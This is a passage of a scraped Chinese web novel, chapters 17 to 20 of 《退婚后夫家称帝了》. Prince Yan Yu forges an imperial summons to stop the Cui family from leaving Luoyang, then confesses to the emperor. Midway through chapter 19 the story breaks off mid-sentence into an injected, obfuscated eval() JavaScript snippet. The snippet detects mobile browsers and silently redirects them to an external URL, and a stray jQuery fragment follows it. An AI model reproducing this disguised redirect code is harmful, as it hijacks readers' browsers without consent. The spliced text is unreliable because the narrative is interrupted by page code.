在洛阳待了那么些年,多少都有些感情了,就算是原本在各自故乡长大的崔砚和荀夫人,眼下都有些不舍。
但人生哪能事事如意,他们崔氏能这样也算是圆满,一家人和和乐乐的,就算是不要那高官厚禄又如何?
崔家人的心性还算是淡泊,若是放在那等以权势为毕生所求的人家,怕是要一蹶不振。
令仪今日的胃口意外的不错,还多用了几个糖饼,外加小半碗肉羹。
回到自己屋子里,屋内已然空空,只有交代过不用碰的七弦琴还摆在琴案上,怕被仆从经过带起的灰尘染上,上面罩着一层软细的丝缎。
这是令仪心爱之物,自然由她亲手带走。
这把琴由桐木打造,通体漆色为玄,有七弦,通体亮泽无瑕疵,是洛阳制琴大家公孙大师亲手打造,整个洛阳乃至大晋只有这么一把,还是十年前阿父见她喜欢琴,特地登门求取的。
琴以娱心,抚琴者奏琴多能沉心养性,抚平心绪。
令仪本就是个爱静的性子,琴最合她意。
而阿妹就同她不一样了,性子活脱些,喜爱琵琶,时常边弹边舞,还扬言以后要寻个与她一样热爱琵琶的郎婿。
令仪每每听了,都是嗔她心急,不过才十三四岁,就说上郎婿了。
令仪动作轻柔地将琴套进同样是丝质的琴袋中,令仪站在门口,回望了一下空荡荡的屋内,面上也难免划过了一丝怅然。
“走吧,回清河。”
鹿鸣也小小难过了一把,眼中带着隐约泪意,既是为自己即将远离洛阳,也是为她家女郎。
崔家那样好,不应是这样的结局。
洛阳主街上,崔家的车马浩浩荡荡地行着,只需一眼,便知是搬迁。
鉴于阿父不是什么矫健儿郎,加上近来还染了风寒,便没有骑马在侧,而是同妻子荀氏乘一驾犊车。
令仪和弟妹是女眷孩童,自然也是乘着犊车,人多了挤得慌,阿嫂便带着两个三岁的龙凤胎侄儿乘另一驾车,拢共三驾犊车,带着后面十来辆运货品的马车,还有一侧骑马行在两侧的兄长和义兄,一家人不可谓不扎眼。
崔家立足洛阳多年,无论是为官还是为人,都得世人赞叹崇敬。
年少时,崔砚初入官场,那时候先帝还在,初见崔砚,便赞其清秀俊雅,文士风流,可堪大用。
先帝此话不假,崔砚仕途几十载,赢得民心赞誉无数。
知道崔家今日离开,一传十十传百,洛阳城的百姓纷纷出动,夹道相送,目露悲切。
世上再难能有赤心为民的门阀世家了,崔氏这番一走,他们怎能开怀?
令仪在犊车中,不时听到外面不舍的送别话语,心想阿父一定也十分动容吧。
然就算民心再如何不舍,但崔家终究要离开,人潮涌动着,直到城门处。
崔家离开的消息也被送到了皇宫里,彼时元宁帝刚下朝,准备去长春宫用个饭,听到田樊过来将这个消息告诉他,元宁帝神色一愣,走路的步子都缓了许多。
“知道了,先用饭吧。”
田樊小心翼翼地应了一声,纵使自己跟了那么多年,也难以摸清陛下此刻是何种心情。
洛阳城北,伊水河畔。
往日还算清净的渡口,今日因为有崔氏的到来而热闹非凡。
不仅是崔家上下,还有许多来相送崔氏的家族。
谢氏与崔氏是姻亲,这日自然是要过来的,不仅是家主会尽一份往昔情谊,还会带着家中小辈,比如说几个子侄和家中女郎。
阿嫂谢妙言便有不少姐妹,此刻也都来相送了。
崔氏如今返回清河,远离政治中心,家中始终会对阿嫂这个谢家女愧疚。
换到阿嫂的角度,本以为嫁到了崔氏,觅得了一个千好万好的郎婿,日后一定是前路坦荡,未来可期,却不想一朝陷落,要跟着崔氏一起一落千丈,回到清河郡蹉跎余生。
这对于大部分人来说,大概都是落差极大的,因而,当家中定下归清河的日期后,曾让荀夫人去暗示阿嫂若是不舍洛阳,可以不跟她们回去,归谢家便是。
简单来说,便是可以同意阿嫂绝婚。
当晚,阿嫂便哭着拒绝了,态度坚定地言说要与崔家共存。
阿父阿母感念于阿嫂的忠贞情意,后来便再没提起这事。
令仪深觉兄嫂夫妻情深,要不然当初也不会有那样一桩滑稽又无奈的往事。
想起当年那事,令仪便觉得有趣。
也是这桩事,崔氏算是吃罪了裴氏,两家几年来一直交情浅淡,今年倒因为政事有了些和气进展,可如今再没有时间来修补了。
正出神着,令仪看到郑谙带着她家七妹来了,令仪站在犊车前,扬起灿笑,朝着郑谙招手。
“六娘!”
令仪扬声唤道,清亮柔美的声音瞬间将跟着长辈一起来的儿郎的注意,都若有若无地朝着令仪那边看去。
说句实话,他们这些世家儿郎,没有几个是不想娶崔氏女的。
像洛阳城这些世家门阀之间,一惯是默认为互相通婚的,而在这个圈子里,能寻到一个才貌双全,性格柔婉的新妇,则是儿郎们一致向往的。
崔家大娘子,便是这般存在。
以前崔家有那么一桩婚约,他们就算百抓挠心也不得法,如今婚约没了,他们还是没机会,也许这就是天意,他们想着。
但佳人就要离去,也许此生都不能再见,他们深觉惋惜,便跟着家中大人一块来了。
除此之外,还有很多非世家的子弟也跟了过来,目的大多是同前者一样,不过他们没有大人名正言顺的领着到人家跟前去,只能在远处望着人群中那道娉婷丽影。
17. 伊水河畔
《退婚后夫家称帝了》全本免费阅读
燕钰刚到李宅附近,还没转弯,就看见李家七郎李蕴步履匆忙地赶了出来,骑上骏马,一刻不停地策马走了,连一惯带着的侍奴都没带,忙得像个陀螺。
燕钰勾了勾唇角,觉得有趣,便在见着李茂的时候将这事提了一嘴。
不同于燕钰的满不在乎,李茂一听自家六弟这反应,立即就起了疑。
“如果我没记错,今日六郎可是还要去家学的,还是他崇敬的陈夫子的课,怎会翘课跑出去?平素他也不是个会翘课的,怪了。”
正拧着眉头,李茂瞧见六弟的侍奴匆匆经过,那忐忑的模样,生怕不知道他心里有鬼似的。
李茂当即将人逮住了。
“我问你,六弟今日去了哪里?”
侍奴被逮住,尤其还对着齐王,他一想到他家六郎去做什么了,就一阵心惊。
他也不是个善于伪装的,不过是个十五六岁的少年,虽害怕,还是替他家六郎遮掩道:“六郎、六郎今日不是在学堂念书吗,还是陈夫子的课。”
侍奴低着头,声音有些连他自己都不曾发觉的颤着,这压根不能让李茂信服。
“念书?齐王方才可是都看见了,六弟可是骑着马出去了,难不成是干些见不得人的勾当?你最好老实说出来,省得我抽你几鞭子。”
李茂这下彻底好奇了,翘课偷跑出去就算了,还扯谎掩饰,这下李茂不得不盘问几句了。
侍奴急得满脸通红,神色也慌乱极了,尤其在还飞快地偷瞄了一眼身侧的燕钰,李茂是越来越好奇了。
“还不说,来人,将这个……”
“别别别,二郎君,我说我说!”
心里对自己的主子连连赔了好些礼,一咬牙将事情全都交代了出来。
“回二郎君的话,我家六郎是去伊水河渡口了。”
李茂和燕钰都是不曾关心崔氏北迁的人,仍是不理解这个伊水渡口有什么稀奇。
“去哪干嘛?还没到上巳节呢,再说也应该去洛水才是。”
燕钰也觉得有点意思,跟着问了一句。
侍奴听见燕钰出声,后背的冷汗冒得更欢了,吞吞吐吐道:“六郎去、去送崔家人了。”
这一句一句的,说得李茂愈发迷糊了,继续追问:“六郎为何要去送崔家,他和崔家什么时候有交情了?”
众所周知,李家是帝王属臣,家中长姊更是东宫储妃,从凉州来,原本就和崔氏不熟络,现在更是不熟络,六郎是什么时候交好崔氏的?
面对这个重中之重的问题,侍奴咽了咽口水,再度犹豫起来。
虽说齐王与崔家大娘子的婚事退了,但崔氏总归是开罪了天家,说难听点,还是天家不要的新妇,然他家六郎竟胆大包天地打起了主意,虽然说可能没戏,但心思就明晃晃摆在眼前,侍奴生怕齐王计较则个,记着他家六郎。
“再不说舌头就别要了。”
李茂继续恐吓,誓要套出话来。
侍奴一听这等可怖话语,顿时就吓得屁滚尿流全交代了。
“是、是崔家大娘子,六郎自南华寺一见,便少年慕艾,动了情思,昨个夜里辗转反侧,今日坐立难安地想了一个时辰,说非要去送送崔家大娘子才好,便让奴编个身体不适的谎话去陈夫子那里告假,自己、自己忙赶去了。”
一口气将事情全交代了,侍奴胆颤心惊地伏跪在地,好好的春日,后背都汗湿了。
李茂和燕钰一时都静默了,尤其是李茂,偷偷瞥了一眼好兄弟的脸色,似乎也是在担心什么。
燕钰被他这般见不得光的打量瞧烦了,冷哼道:“瞧什么,以为我会吃味还是怎的,崔氏现在跟我可没关系了,她爱逗引谁便逗引谁,老子才不在乎,别用那种眼神瞧我。”
燕钰深知,现在的他已经有了心上人了,可不能和旁的女郎有半点牵扯,尤其是这个前未婚妻,若是日后被小桃花知道了,定是要不开心的。
燕钰绝不允许这样的事发生!
李茂的小动作被发现,低咳了两声来掩饰尴尬,挥了挥手让地上的侍奴离开了。
“这小子,如今崔氏的境遇,他还敢巴巴往上贴,没点眼力劲,我得去将这小子弄回来,五郎要不要与我一道?”
紧张之下,李茂又说错了话,竟邀起了燕钰,话一落便后悔了。
本想说些什么来弥补,但燕钰竟是思索了一瞬很快便应了下来。
“行吧,就当是跑马到伊水,再去瞧瞧热闹。”
燕钰想着,在哪里跑马都是跑马,加上他忽然想起个事来。
听说崔氏女在洛阳人缘极好,想必结识不少世家女郎,此次崔家北迁,那些与她关系好的女郎定然来相送。
燕钰图的,便是那些女郎中,会不会有他苦寻无果的小桃花。
只为着这一丝可能,也值得燕钰去那边瞧瞧。
反正又不是凑上前送别,他好意思过去。
唯一担心的就是万一小桃花真是崔氏女的手帕交,那会不会有几分尴尬?
不管了,他得娶媳妇!
沉吟了几息,燕钰理清了思路,欣然答应了李茂的邀请。
覆水难收,说出去的话只能眼睁睁看着奏效,李茂带着燕钰这个敏感人物飞快向伊水渡口赶去了。
……
伊水渡口,因为有了各家来送行的人,一时间倒有几分踏春的光景了。
马蹄声哒哒作响,李蕴怀着不平稳的心绪姗姗来迟,一眼便瞧见了在云鬓衣香的女郎堆里的令仪,他咽了咽唾沫,无端紧张的厉害。
但犹是如此,李蕴还未曾忘记礼节,先去拜见了崔砚。
见到李蕴这个单枪匹马过来的生面孔,崔砚心中虽疑惑,但面上还是温和淡笑着。
“这位小郎君是?”
话问出口,崔砚心里忽然有了些答案。
今日凑在伊水边的儿郎们还少吗?
果然,听到这个眼生少年的应答,崔砚的猜想坐实了。
“崔公有礼,晚辈是李家李蕴,家中行六,此番、此番是前来为崔家送行的。”
说话间,少年吞吞吐吐的,面色还升起了薄红,这更让崔砚坐实了猜想。
他也不是什么迂腐大夫,直接挑开道:“李六郎是来送我家长女的吧?”
虽是问话,神色却是笃定的,也带着一丝长辈的包容。
被揭了心思,李蕴脸更红了,但看着崔砚面上的包容与善意,还是大胆提出了自己的要求。
“崔公睿智,晚辈与令爱有过几面之缘,心中慕艾,但知不可为,只想着能亲自来送一送也是好的,不知崔公能否允准?”
李蕴此番来,并不满足于遥遥瞧上一眼,而是想靠近她,真真切切地与她说几句话。
前两次,他好似从未真切与她说上
18. 矫诏
《退婚后夫家称帝了》全本免费阅读
燕钰的世界一片天旋地转,眼前仿佛灌入了伊水茫茫,再看不清别的。
随着逐渐回笼的思绪,燕钰渐渐开始了思考,只不过十分迟缓,像是被冻住的河流。
眼前雾蒙蒙的一片,他有些看不真切那抹青影,只模糊察觉到对方可能是行了个女郎家的颔首礼,只是裙边,便让燕钰觉得优雅又秀丽。
她是谁?
她为何会出现在伊水?
是跟着大人一起来为崔家送行的女眷?
不,他明明亲眼瞧见了,李家小六巴巴地过去寻她,不可能是旁的女郎。
崔家只两个女郎,一个是与他曾经有过婚约的长女,一个是仅有十四岁的次女,显然,眼前这个正在跟李家小六说话的不是十四岁的次女。
她是何人,已然无需多言。
像是堵塞了千千万万年的河道瞬间被疏通了,心中的情绪也或作奔腾的水流,将他的心肺彻底冲垮。
“不愧是名满洛阳的崔氏女,这容貌气度,高华如月,颜瞬如花,我这六弟被迷住倒一点都不奇怪了。”
李茂想,若不是如今他早已成家,爱妻不久前刚诞下孩子,他还真得起几分心思来。
毕竟窈窕淑女,君子好逑嘛。
李茂如往常一样轻挑带着笑语的话在燕钰耳边响起,明明是夸赞的话,却无端的刺耳。
“你闭嘴。”
纵使心中的浪潮还未平复,燕钰的反应倒是很快,一张脸一阵红一阵白,隐隐还能看见嘴角在轻颤。
李茂愕然看向他,有些不明所以。
“少瑜,你怎的跟失了魂一样,见鬼了?”
李茂循着他的目光看过去,却只能看见六弟的背影,他更纳闷了。
大白天的,撞邪了?
伊水相送也到达了尾声,眼看天色不早,崔砚一一与洛阳的老朋友告别,拱手对着众人行了个长揖,高声道:“今日我崔氏北迁归故里,诸位前来相送,某不甚感激,此一去山高水长,也许不会与诸位再相见,然还是愿山水有相逢,告辞。”
崔砚说着最后告别的话语,神色端肃间又有些怅然,似是对这煊赫的洛阳城也有几分不舍。
崔家众人跟着崔砚一道作揖,就连才只有三岁的两个小侄儿也像模像样地行着揖礼,看着甚是认真。
来相送的众人也纷纷回礼,一时间伊水河畔尽是文人风雅。
“愿崔公安好,万里风顺。”
在此番所有人都长揖回礼的时刻,便显得不远处骑在马上的两个呆头鹅尤其显眼。
不过此刻人人都将注意力放在崔砚身上,倒是无人注意到他们。
高亢洪亮的送别声惊起了林子里的零星飞鸟,翅翼簌簌煽动的声音让这春日生了几分寂寥。
崔砚直起身子,再度对着众人拱了拱手,回身对着家仆道:“时辰不早了,出发吧。”
管家向伯立即指挥起人来,卸下车上的物品,开始往船上运,一切都显得井井有条。
此番崔家北迁,备了两条船,一条载人的客船,一条载货的货船,前者要比后者小上那么一点,但是远比后者精致舒坦。
随着货物有条不紊地往船上运,崔家人也觉站在此处没甚意思,尤其这日头还越发的热烈,倒有些晒得慌。
尤其令仪这种,平素也不是爱在日头下挥洒汗水的女郎,站得久了倒有些燥热。
“日头越来越厉害了,诸位娘子还是尽快回家吧,可不能因来送我回家黑了一圈,再不好寻郎婿了。”
令仪笑着打趣周围的俏丽女郎们,整个人都是平和文雅的,不见一丝颓败,倒是让所见之人万分感慨。
来送行的诸人未有散去的迹象,大有看着崔家人乘船离去的架势。
那边,阿兄已经携着阿嫂和两个孩子往伊水边去,令仪见阿母也有阿父陪伴,便不去操那个心,带着鹿鸣一道往船边去了。
燕钰本淹没在崔氏的送别声中,脑中混沌又汹涌,迷雾破散开来。
纵然那抹青陷在纷乱熙攘的人群中,燕钰的目光也始终追随者,不偏不倚分毫。
那张他魂牵梦萦的身影终于完完全全、毫不遮掩地出现在了他的面前,却是在即将远离他的时刻。
崔氏!
竟是崔氏!
还没等燕钰将自破城那日与崔氏一连串的龃龉一一想起时,他眼见着身姿娉婷的女郎提裙踩上了船,只需须臾间,她便会从此消失在他眼前。
这怎么可以,燕钰不能忍受。
身体往往会将心思淋漓尽致地表达出来,两腿霎那间用力夹起了马腹,策马冲进了人群,激起了一片哗然。
“齐王?”
“齐王怎的也来了,他要做甚?”
“莫不是要给崔家送行?倒有些荒诞。”
人群中,不乏有识得这位大名鼎鼎的燕氏五郎的,当下便议论纷纷,猜疑甚众。
“且慢!”
燕钰这一声呼得响亮,伊水河畔所有人都看向了这个不速之客,包括刚半只脚踏上船的令仪,都不由自主地循着声音看去。
令仪此刻非常痛恨她的好记性,能将南华寺那张脸记得清清楚楚,以至于现在只需一眼,令仪便认出了策马飞驰而来的人是被她狠狠得罪过的。
令仪脸颊有些微微泛白,心头开始慌了。
鹿鸣平素不算是个记性好的,但怪就怪那狂徒虽浪荡无礼,但胜在生得模样英美俊朗,伟岸威武,让人简直不忘。
因而,在令仪变脸色的同时,鹿鸣也将心提起来了,颤着声音道:“糟了,那狂徒找上门算账了,女郎我们快进船舱里躲躲!”
此时此刻,胆小的鹿鸣第一反应就是将她的女郎藏起来,不让那个狂徒发现。
感受到鹿鸣扯着她的胳膊想将她往船上拉,令仪强压着自己平复心绪,轻轻挣脱了,低声解释道:“没用的,我们站得那么显眼,他大约早就看见我们了,现在躲起来也没用了。”
“别害怕,咱们先看看情况,兵来将挡,水来土掩。”
仿佛是被自家女郎的沉着冷静感染,鹿鸣渐渐安定了下来,随着令仪一道从船上退回来。
此番显然是有了要折腾的事,令仪自然也不能卡在船上看热闹,回到岸上,同家人一道迎接来算账的狂徒。
她不知对方是何身份,但只凭着不逊色王孙的衣着打扮,还有人群中那一张张惊讶而畏惧的面孔,令仪便知道这不是个好惹的存在。
令仪甚至想着,要是他届时实在过分,自己丢个脸面卖个可怜算了,毕竟今日是归清河的日子,若是因自己惹下的祸事卡在这,倒是不美。
令仪重新站回岸上,刻意将自己掩在义兄身后,希望能降低一些自己的存在感。
不远处,看着说走就走的燕钰,李茂嘴巴张得老大,回过神来只来得及喝一嘴尘烟。
“少瑜,你……”
这该不会是要去收拾自己那个不争气的六弟吧?
后知后觉的李茂在心里嘀咕着,但又觉得这事不像是燕钰能干出来的,因为实在太滑稽。
骏马的嘶鸣声在伊水河畔响彻,
19. 留人
好似生怕人听不见,燕钰声音高亢,让周围人顿时议论纷纷。
“陛下是不知今日崔公启程回清河吗?怎的这时候来口谕,不是难为人吗?”
“兴许真的不知道,陛下日理万机的,忙的很。”
“大约是尚书台那边遇上棘手的政务了,为保万全只能寻崔公商榷,可就是时机不太对,眼看着天色有些不好,真是奇了怪了,晨起瞧着还是一个晴日,怎的说变就变?”
人群中夹杂着各色议论,还有些对今日天气的嘟囔疑惑,一时间热闹无比。
崔砚性子一向沉稳,但听到陛下这猝不及防的传召,他也怔住了。
“陛下当真此刻传召崔某?”
眼见两艘船就在岸边停泊,一家人东西都收拾好了,一切准备就绪就等着乘船离开洛阳。
可偏偏就在这个时候,陛下竟来了口谕,崔砚有种不切实际的感觉。
众目睽睽之下,他又不能埋怨天子,只万分诧异地将话再问一遍。
燕钰又盯了那抹青色衣角一眼,愈发坚定了心神,脸不红心不跳回道:“确实如此,阿父急召崔公入朝,不如先随我走吧。”
终于将困了自己好一阵的迷雾拨开,相比于破城那夜的傲慢,燕钰此刻老实了许多,甚至拿出了晚辈的姿态,要不是不想太刻意,燕钰甚至想下马去抢人回去。
但理智强压着他,燕钰只能做出公事公办的模样,想先将人诓回去。
李茂那里,惶恐着一张脸也不敢吭声,只一脸欲言又止地在原地叹着气。
他自顾自思忖了半晌,也将一切想明白了。
通过先前燕钰那一句没头没尾的话,李茂便猜到了什么,五郎寻的那女郎,大概就是崔家大娘子了。
但两人却偏偏在此时此地碰上了,为了能将人留下,五郎不惜并行险招,想将人诓回去。
但矫诏这个由头,李茂用脚趾头都想不明白是怎么灵光一闪的。
不过确实很好用罢了。
瞧着崔家家主沉吟了半晌,应下,李茂便为其捏一把汗。
待会将人带回去,陛下知道五郎矫诏,不得把人吊起来打?
兴许连他都得被连带,晦气。
但木已成舟,看着成功被诓骗的崔家家主,李茂只能接受现实。
五郎屁股要开花喽~
崔砚回头看了眼身后一众家眷,又看了眼那两只船,无奈道:“我许是要一会才能回来,你们先去船上歇着,也别忘了装船事宜,我见完陛下回来便出发。”
崔砚没将事情想得多大,只以为是尚书台哪里出了问题,非得他这个前尚书令过去处理,想着也许就一会得功夫,还能赶在午食前回来,便如此安排着。
然话刚落,又被人拦去了。
“崔公还是让家眷回城里吧,阿父同我说今日这事异常棘手,怕是要个三两天的,在船上住三两天算怎么回事,不若随我一起回去?”
李茂眼皮子直跳地听着他胡诌,偏偏一声都不敢吭。
若是自己嘴漏了,五郎这个矫诏的罪名便怎么也遮不住了,要是没留住人估计五郎不会放过他。
这样将错就错地回去,也许陛下会哑巴吃黄连将这事给认了,毕竟五郎最得盛宠,想必陛下对这个自己最宠溺的儿子也会包庇几分。
念此,李茂继续闭着嘴,不敢掺和一点。
一听要处理好几天事务,崔家人都是面面相觑的状态,就连崔砚也忍不住露出了狐疑的神色。
“这……”
折腾了这么半天,还同周围那么多人慷慨激昂地告别了一番,如今却说还要回去一趟,倒是有些难说。
但,崔砚又觉得既是齐王亲临传口谕,一般不会有假,犹豫的心思在看到齐王仍旧肃然的面色时被打消殆尽。
“好吧。”
“还请齐王先行。”
随着话落下,天空中响起一道闷雷,天色肉眼可见地阴沉了下来,一副风雨欲来的前兆。
大抵是崔砚的应答,亦或者是天公作美,燕钰肃着的脸瞬间柔和了下来,扬起明快轻松的笑。
“天有不测风云,眼看着就要落雨,崔公想必不会让家眷在雨中窝在船上的吧?”
崔砚无法反驳,只沉声答道:“自然。”
目的达成,燕钰总算将悬着的心放下了,身下的马儿许是感受到了主人心绪的躁动,四蹄也欢快地在原地踏着。
然不过将马牵来的功夫,草叶间啪嗒声响起,豆大的雨滴落了下来,滴在了令仪温热的眉心间,让她浑身一颤。
她伸手去挡,奈何一只手又怎能挡住千万雨丝,尽数顺着细白的腕骨流进了衣袖里,让人浑身不适。
鹿鸣瞧见女郎淋雨了,手中无伞,就要伸手给令仪挡,但她忘记了自己的身量不足,根本够不上女郎的头顶,更挡不住雨丝。
这时候,是郭暧用袖子将令仪头顶的雨丝给遮住了。
郭暧不似鹿鸣身形娇小,他生得高大,今日又恰好穿了一身宽袖袍子,很好地发挥了作用。
“雨淋多了恐着凉,阿鸾快些回车里。”
先不管回不回城,到车里避雨总是没错的。
令仪点头,借着义兄给的一点遮蔽,两人形影不离地往令仪的那驾犊车去了
其余人也四处寻着避雨的地方,奈何今日来送行的哪里会料到老天爷会突然落雨,他们没有乘车,只能先行找棵树遮一遮。
弟妹跑得飞快进了车,阿兄也护着阿嫂和两个侄子上了犊车,阿母被温媪扶着也进了车子。
只有阿父还在原地,似乎仍是想要骑马前行。
“崔公不必如此,既落了雨,便乘车回去吧,若是淋出了岔子,到了阿父跟前也不好。”
令仪上了犊车后,燕钰才气哼哼地将目光收回来,着实被那个寒庶子带着浅显心思的行径气得不轻,心里头堵得厉害,语调都难免生了几分冷硬。
崔砚在官场浸淫多年,对人的情绪变化还是比较敏锐的,察觉到燕钰有些不虞,他只觉此子喜怒无常,着实不是长女那般温柔恬淡女郎的良配。
“既如此,齐王先请,崔某随后就到。”
既然齐王也发了话,崔砚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12774443|133599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不是个那等年轻气盛的毛头小子,自然会选择乘车前去。
见崔氏众人已然准备就绪,燕钰压住怦怦乱跳的心,策马当先。
经过李茂的时候,对方正睁着一双从震惊到麻木的眼睛,欲言又止地看着燕钰。
“别乱屁话,敢坏我大事我回头揍死你。”
生怕李茂这个唯一知情人破坏他的大计,燕钰绷着脸到了他跟前,言语恐吓了一番。
李茂听这话,嘴角抽搐了一瞬,哼哼道:“少瑜自管去行你的大计,自有陛下来顶多,我只当个看客。”
李茂的识相让燕钰很是满意,但他接下来的话却让燕钰忍不住沉下了脸。
阿父那沙包大的铁拳,怕是得先将他一顿好打。
但为了能留人,这是唯一的法子,纵然被吊起来打,他也认了。
没有蓑衣,更没有雨伞,只身上浅薄的春衫,燕钰策马疾驰在雨中,凭着一腔少年人的意气,任由风雨淋漓,只一双眼眸坚毅果敢。
进城后,崔砚同家人分开来。
令仪同家人回到已经被搬得空荡荡的宅子,一家人先放了些基础的用具,想着若是崔砚很快回来便再启程。
而崔砚则是规规矩矩跟着燕钰进了宫城,一路上都在思索陛下此刻召他到底是为了何事。
燕钰淋足了雨,一下马便一步一个脚印,但他浑然不觉,只是在雨水在脸上蜿蜒滑落时伸手豪迈地抹一下,带着崔砚一路狂奔到了元宁帝的长阳宫。
崔砚不是那等体弱的,但这混小子属实一身牛劲,仿佛有使不完的力气,到了长阳宫门口,崔砚都忍不住胸膛起伏着。
这竖子,都不知道体恤一下他这把老骨头。
无奈时,崔砚也忍不住在心里嘀咕了一声。
“崔公先于偏殿稍作歇息,我去禀告阿父,即刻传召崔公。”
此时此刻,燕钰连衣裳也不敢换,径直入了长阳宫。
此刻元宁帝在寝殿处理政务,卢皇后过来送了一盅羊肉羹还未走,正要叮嘱一声什么,夫妻两就看见他们那个最不省心的小儿子落水狗一般就闯了进来,一步一动就是淅淅沥沥的一串水珠,染湿了柔软干燥的地衣。
卢皇后爱子心切,当即走向燕钰,神色关切道:“我的儿这是怎么了,怎的一身都是水?”
元宁帝倒是没有妻子这般反应,仍是端坐着,气定神闲地笑道:“莫不是下洛水摸鱼了,有没有带几条肥鱼给你父?”
事到如今,元宁帝还是有这个心情打趣的,毕竟如今洛阳可是他家的天下,谁能欺负到他儿子头上,何况还是脾性最不好惹的一个。
大约是自己弄得,不过换都不换便急吼吼地进来,想来又有什么乌七八糟的事求到自己头上了。
元宁帝十分了解自己的儿子,这回猜得也不假,只是没料到是那样一桩破事。
只见人水渍淋漓地进来,直奔着他就过来了,就在元宁帝担心这小子带着那一身水往他身上蹭时,人麻溜地就跪在了他长案前,神色凄凄惨惨,再没了他平日的神采飞扬。
“阿父救我~”
20. 竖子
也许是见周围没有旁人,燕钰扯着嗓子便喊了出来,一副大难临头的架势。
元宁帝和卢皇后一看这情状,立即肃了脸色,意识到此番有大事发生。
能让五郎嚎成这样,这么多年来还是头一会。
“你这孩子,有什么事不能慢慢说,非要鬼哭狼嚎的,把我和你阿母吓一跳,速速说来!”
燕钰抹了抹脸上的水,偷偷瞥了一眼元宁帝的脸色,想着待会能有几分胜算。
但想着阿母也在,定然能为自己美言几句,燕钰小心翼翼开口道:“那儿子说了,阿父可要保重身体,还有,如果可以不打我更好。”
将小儿子这副明显了犯了大错的心虚模样收入眼中,眼皮子狂跳了一阵,做好了心理准备,才深吸了一口气道:“干了什么蠢事?”
燕钰自知躲不过,眼下也正等着阿父给他打掩护留人,这关就算是刀山火海,他也得硬着头皮闯。
干笑了一声,燕钰露出讨好的神情。
“阿父,崔公在外面等着呢,你去见见?”
说这句话的时候,卢皇后甚至在儿子脸上看见了谄媚这个词,真是破天荒了。
但吐出的话语却让夫妻二人都愣住了。
元宁帝以为自己幻听了,重复了一句:“崔砚?他在外面等着?”
燕钰继续咬牙应了一声,模样十足地乖巧。
“如果我没记错的话,今日是崔家出发回清河的日子,崔砚又怎会出现在这?”
“难不成他后悔了,想通了,来服软了?”
高兴之余,元宁帝一不小心便将心里话说了出来,面上多少有些尴尬,但想着这里也没什么外人,又恢复了沉稳。
“不是的,阿父,是我将人带来的。”
说到重点,燕钰音量都降低了许多,神色也有些讪讪的。
这一个转折将元宁帝打得措手不及,他满上喜色一僵,神色发懵发问道:“你将人带来干嘛,你又是如何将人带来的?”
前后两个问题,元宁帝都觉得不可思议。
燕钰想着不能晾着未来岳丈太久,又挪动着双腿,扭到了元宁帝跟前,咽了咽口水道:“阿父,阿母,你们还记得我之前一直在寻的那个女郎吗?”
“自然记得,怎么,如今是寻得了?”
元宁帝是男子,心思较粗些,但卢皇后不一样,一听到这话,再联系方才儿子将崔砚带过来的举动,霎那间便明白了什么,眸光一亮,紧跟在丈夫后面道:“是崔家大娘子?”
见阿母猜中,燕钰丝也不遮掩,重重地点了点头承认了。
“阿母所言不错,正是她。”
想起自己兜兜转转寻了这么久,就差一点,人就再找不着了,燕钰便一阵后怕。
一听母子两的对话,元宁帝脸色难得有些复杂,叹了一句孽缘。
“才不是孽缘,是金玉良缘,三年前那个游方道士算的,是不是阿母?”
看着满脸信誓旦旦的儿子,卢皇后颇感玄幻,一时忍不住笑了。
想当初她说起这金玉良缘,小儿子十分不悦,还振振有词地反驳她,说人家道长学艺不精,如今怕是恨不得将人供起来。
“是是是,我们少瑜同崔家大娘子就是金玉良缘,顶顶相配的。”
那崔家大娘子本就是自己看着中意的,如今小儿子想得如此开,卢皇后自然欢欣鼓舞。
比起孩子的幸福,卢皇后觉得丈夫丢个面子也不妨事。
但这可苦了元宁帝,他满脸愤然地看着已然达成一致的母子两,哭笑不得道:“前头允了人家辞官归故里,废了婚约,现在又让人家女儿嫁回来,这般行事,岂不是自己打自己的脸,你父我以后还怎么立威?”
显然,现在的元宁帝还不知晓他不仅要打自己的脸,还要绞尽脑汁来想法子打自己的脸。
但他很快想起了一个关键症结,好奇道:“你是如何将人弄回来的,我记得崔家早就出发了,你竟能将人从路上劝回来,我儿着实厉害,是用了什么法子?”
在他看来,崔砚此人颇有风骨,先前都能面不改色地辞官,想来也不是个贪恋权势的,这样的人又怎会因为家中女郎能得个王妃之位便可以折腰回到他跟前服软?
感觉哪里有些蹊跷。
对于这些弯弯绕绕,元宁帝心思并不钝,誓要从五郎这里问个清楚。
被问到了痛点,燕钰长了个心眼子,跪于席上的双腿往后退了退,神色讪讪地将矫诏一事婉转地说了出来……
“这事简单,我同崔公说,是阿父有十万火急的政务要同他商议,召他回来,他不敢违逆,便跟着儿子回来了,此刻就在偏殿,只等阿父召见。”
“阿父,你可要给儿子将人留住啊~”
仿佛是觉得作死的话没说过瘾,燕钰还在后头又补了一句,仿佛只是在说一件元宁帝举手投足便能办到的一件小事。
空气都跟着静默了良久,卢皇后都沉默到不知道说什么了,只满脸愕然地望着自己这个胆大包天的小儿子。
元宁帝的脸色就比妻子精彩多了,一会红一会青的,肉眼可见地来回变颜色,燕钰越发不敢看了。
只见元宁帝袍裾一动,燕钰便知阿父要动手,不,动脚了。
身体下意识地就想躲开,但理智如一道无形的枷锁,将他锁在原地。
燕钰知道,想要让阿父给他打掩护,连一脚都不愿承受那也太说不过去了,兴许自己被打得惨一点,阿父还能可怜他一下,成事的机会便更大了。
因而那一脚结结实实落在他肩膀上,疼得燕钰不禁吸了口凉气。
阿父不愧戎马半生,都快五十了竟然还这么有劲,可疼死人了。
但想着能达成目的,燕钰觉得什么都值了。
如今阿父是唯一能帮自己的人了,他一定要争气!
“阿父……”
“竖子!”
燕钰还想说两句解释解释求求情,忽地就被元宁帝一声暴喝打断,那动静大的,连守在外殿的田樊都抖了几下。
甚至就连在偏殿等候的崔砚,也隐约间听到了主殿里的不平静,一听便是不和气的争端。
